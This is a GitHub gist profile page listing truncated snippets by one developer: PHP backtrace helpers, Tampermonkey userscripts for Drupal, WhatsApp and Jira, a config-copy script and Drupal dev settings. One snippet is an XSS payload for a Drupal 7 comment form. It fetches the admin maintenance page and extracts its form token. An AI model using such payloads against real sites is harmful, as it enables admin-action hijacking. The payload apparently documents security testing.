Skip to content

Instantly share code, notes, and snippets.

View marcelovani's full-sized avatar

Marcelo Vani marcelovani

View GitHub Profile
@marcelovani
marcelovani / hasValue.js
Created February 17, 2022 11:48
hasValue()
hasValue = function (value) {
if (typeof value === 'undefined') {
return false;
}
if (value === null) {
return false;
}
if (Object.prototype.hasOwnProperty.call(value, 'length') && value.length === 0) {
@marcelovani
marcelovani / README.md
Created April 27, 2021 23:07 — forked from Maxattax97/README.md
List all Git repository objects by size.

List all Git repository objects by size

Summary

Bash script to:

  • Iterate all commits made within a Git repository.
  • List every object at each commit.
@marcelovani
marcelovani / php
Created September 25, 2020 09:17 — forked from fvosberg/php
A very lightweight php backtrace
<?php
$debug_backtrace = debug_backtrace();
$output = [];
foreach ($debug_backtrace as $debug) {
if (isset($debug['class'])) {
$o = $debug['class'];
}
$o .= '::' . $debug['function'];
@marcelovani
marcelovani / Drupal field migration map
Created October 16, 2019 10:20
Generates a CSV of fields on entities to be used on migration map spreadsheets
// ==UserScript==
// @name FieldCollector
// @namespace drupal
// @version 0.1
// @description Gets list of fields from field ui and creates a CSV, you need to be on the Manage fields tab and Console must be open. Useful to create migration mappings. Copy the list of fields, paste on google docs and go to Data/Split text to columns
// @author Marcelo Vani
// @match http://*/*
// @grant none
// @require http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
// ==/UserScript==
@marcelovani
marcelovani / config_copy.php
Last active March 25, 2019 16:23
Used to update existing config
<?php
# This script replaces existing config on the current folder by copying from the origin provided as argument
# It also removes uuid and default_config hashes
if (empty($argv[1])) {
echo 'Please provide the origin folder' . PHP_EOL;
exit;
}
$origin = $argv[1];
$local = getcwd();
@marcelovani
marcelovani / short_backtrace
Last active November 7, 2018 17:19
Shorter version of debug_backtrace
function short_backtrace($limit = 0) {
$r = [];
$t = debug_backtrace();
$t = array_slice($t, 1, $limit);
for ($i = 0; $i <= $limit; $i++) {
if (isset($t[$i]['file'])) {
$f = '';
if (isset($t[$i]['function'])) {
$f = ' called ' . $t[$i]['function'] . '()';
}
#0 d7 site: node/1 comment form with full html input format by uid0.
<script>alert('XSS')</script>
#1 d7 site: node/1 comment form with full html input format by uid0.
<script>
jQuery.get(Drupal.settings.basePath + 'admin/config/development/maintenance',
function (data, status) {
if (status == 'success') {
var matches = data.match(/name="form_token" value="([a-zA-Z0-9_-]*)"/);
@marcelovani
marcelovani / whatsapp.js
Last active July 26, 2018 10:33
Whatsapp tweaks
// ==UserScript==
// @name Whatsapp
// @namespace chat
// @version 0.1
// @description Tweaks
// @author Marcelo Vani
// @match https://web.whatsapp.com
// @grant none
// @require http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
// ==/UserScript==
@marcelovani
marcelovani / Jira
Last active June 26, 2018 16:51
Tampermonkey tweaks for Jira
// ==UserScript==
// @name Jira
// @namespace work
// @version 0.1
// @description Tweaks
// @author Marcelo Vani
// @match https://creativesolutions.atlassian.net/secure/RapidBoard.jspa*
// @grant none
// @require http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
// ==/UserScript==
@marcelovani
marcelovani / settings.dev.php
Created February 22, 2017 17:39
Example of dev settings for drupal 8
<?php
// <DDSETTINGS>
// Please don't edit anything between <DDSETTINGS> tags.
// This section is autogenerated by Acquia Dev Desktop.
if (isset($_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR']) && file_exists($_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR'] . '/loc_subscriptions_dd.inc')) {
//echo $_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR'] . '/loc_subscriptions_dd.inc';
require $_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR'] . '/loc_subscriptions_dd.inc';
$settings['trusted_host_patterns'] = [];
$config_directories = array('sync' => '../config/sync');